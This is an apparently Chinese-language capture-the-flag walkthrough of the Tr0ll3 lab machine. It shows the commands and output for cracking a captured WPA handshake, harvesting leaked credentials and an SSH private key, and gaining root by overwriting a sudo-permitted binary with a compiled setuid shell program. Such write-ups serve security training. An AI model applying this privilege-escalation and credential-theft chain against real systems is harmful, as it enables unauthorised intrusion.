靶场搭建
下载,导入虚拟机,设置为NAT模式
IP:192.168.1.128
信息初收集
要求登录到ssh上,账号密码:start/here
服务器信息收集,做一下。看一下服务器版本信息、定时任务、运行了哪些程序、哪些账户、哪些文件有读写权限
可读写文件
start@Tr0ll3:/var/log/.dist-manage$ find / -type f -perm 0777 2>/dev/null
/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt
看到了一个流量文件和一个txt,txt看上去像是密码?
wireshark打开cap看了一下,看上去像是无线流量,无线+字典=跑包
,公式直接秒了
渗透过程
无线跑包
┌──(root㉿kali)-[~/Desktop]
└─# aircrack-ng wytshadow.cap -w gold_star.txt
Aircrack-ng 1.7
[00:13:06] 2418648/3248872 keys tested (3128.86 k/s)
Time left: 4 minutes, 25 seconds 74.45%
KEY FOUND! [ gaUoCe34t1 ]
Master Key : ED 12 0B 40 F5 AF 80 16 F5 F7 4F 9F 9E 39 BB AE
00 32 07 E9 26 81 31 DB 9C 54 64 84 5E 5D 19 C6
Transient Key : 7F 1C A9 01 4E B9 B3 6F B3 95 7D D2 6E C9 10 BE
50 D4 1A 6C 72 F8 AB 8B 97 A4 20 B1 2D 92 19 18
C7 86 C0 17 2D 05 28 C7 6F 95 06 12 4F C2 F5 2A
87 B7 F5 21 22 3D F7 CA BC 99 8B B5 CA 15 EA 43
EAPOL HMAC : 73 4D E4 22 8E B7 F2 91 4E 74 7D CF 59 73 80 F7
得到账号wytshadow账号的密码
ssh连上去
ngxin
拿到wytshadow的shell之后看一下信息
本目录下有一个oohfan
文件有s位,能以root权限运行,strings没看到有什么可以利用的地方,运行一下感觉是循环输出。
查了一下sudo权限,没有su的权限,但是有nginx的sudo权限。
wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wytshadow may run the following commands on Tr0ll3:
(root) /usr/sbin/service nginx start
启动nginx服务器,查看nginx配置信息:sudo service nginx start
cat /etcnginx/sites-enabled/default
发现端口是8080,且必须要UA头是Lynx*
才能正常访问。
于是要安装Lynx浏览器,或者使用插件固定header中的UA字段。
使用lynx浏览器打开网站
┌──(root㉿kali)-[~/Desktop]
└─# lynx http://192.168.1.128:8080/
拿到一组账号密码:genphlux:HF9nd0cR!
ssh上去
RSA私钥泄露
查看home目录发现有一个RSA私钥,maleus用户的,直接copy下来,用私钥进行登录
┌──(root㉿kali)-[~/Desktop]
└─# scp genphlux@192.168.1.128:~/maleus ./
genphlux@192.168.1.128's password:
maleus 100% 1675 885.2KB/s 00:00
┌──(root㉿kali)-[~/Desktop]
└─# ls -al
total 42084
drwxr-xr-x 7 root root 4096 Apr 29 21:56 .
drwx------ 26 root root 4096 Apr 29 21:55 ..
-rwxr-xr-x 1 root root 1451 Apr 29 19:50 46978.sh
drwxr-xr-x 13 root root 4096 Jan 26 00:29 OneForAll
drwxr-xr-x 2 root root 4096 Jan 26 00:19 docker_arl
drwxr-xr-x 2 root root 4096 Feb 20 21:55 frp
-rw-r--r-- 1 root root 7245381 Apr 9 04:54 fsocity.dic
-rwxr-xr-x 1 root root 35737600 Apr 29 20:33 gold_star.txt
-rw-r--r-- 1 root root 1675 Apr 29 21:56 maleus
-rw-r--r-- 1 root root 253 Apr 9 07:01 pass.txt
drwx------ 2 gddfeng 1004 4096 Apr 10 07:22 php-reverse-shell-1.0
-rwxrw-rw- 1 root root 9018 Apr 10 07:19 php-reverse-shell-1.0.tar.gz
drwxr-xr-x 7 root root 4096 Apr 29 04:22 reports
-rw-r--r-- 1 root root 31 Mar 3 2018 users.txt.bk
-rwxr-xr-x 1 root root 49962 Apr 29 20:33 wytshadow.cap
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 maleus
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i maleus maleus@192.168.1.128
vim文件泄露
查看本地文件有一个.viminfo
文件,cat他发现历史记录中修改过密码B^slc8I$
,拿到了maleus的密码
sudo一下看看权限
maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus:
Matching Defaults entries for maleus on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User maleus may run the following commands on Tr0ll3:
(root) /home/maleus/dont_even_bother
dont_even_bother
文件有root权限,cat一下这个文件,发现了密码:Enter the password : xl8Fpx%6
运行了一下,无事发生==、
提权
目标机器上有gcc
那么直接编写一个C语言的提权小脚本,然后直接覆盖这个dont_even_bother
文件,sudo执行进行提权。
首先删除.viminfo
文件,不然vim的时候报错==、
然后随便创建一个1.c,并写入代码:
int main (void){
setresuid(0, 0, 0);
system("/bin/sh");
}
然后编译一下这个:maleus@Tr0ll3:~$ gcc 1.c -o dont_even_bother
sudo执行
maleus@Tr0ll3:~$ sudo ./dont_even_bother
# id
uid=0(root) gid=0(root) groups=0(root)
拿到了最高权限。
小结
信息收集的过程考验细心程度和想象力。
主要还是几个点,可读写的文件、泄露的账号密码、拥有suid标志的可执行文件。
新的方法:GCC编译提权文件,覆盖原S标志位文件。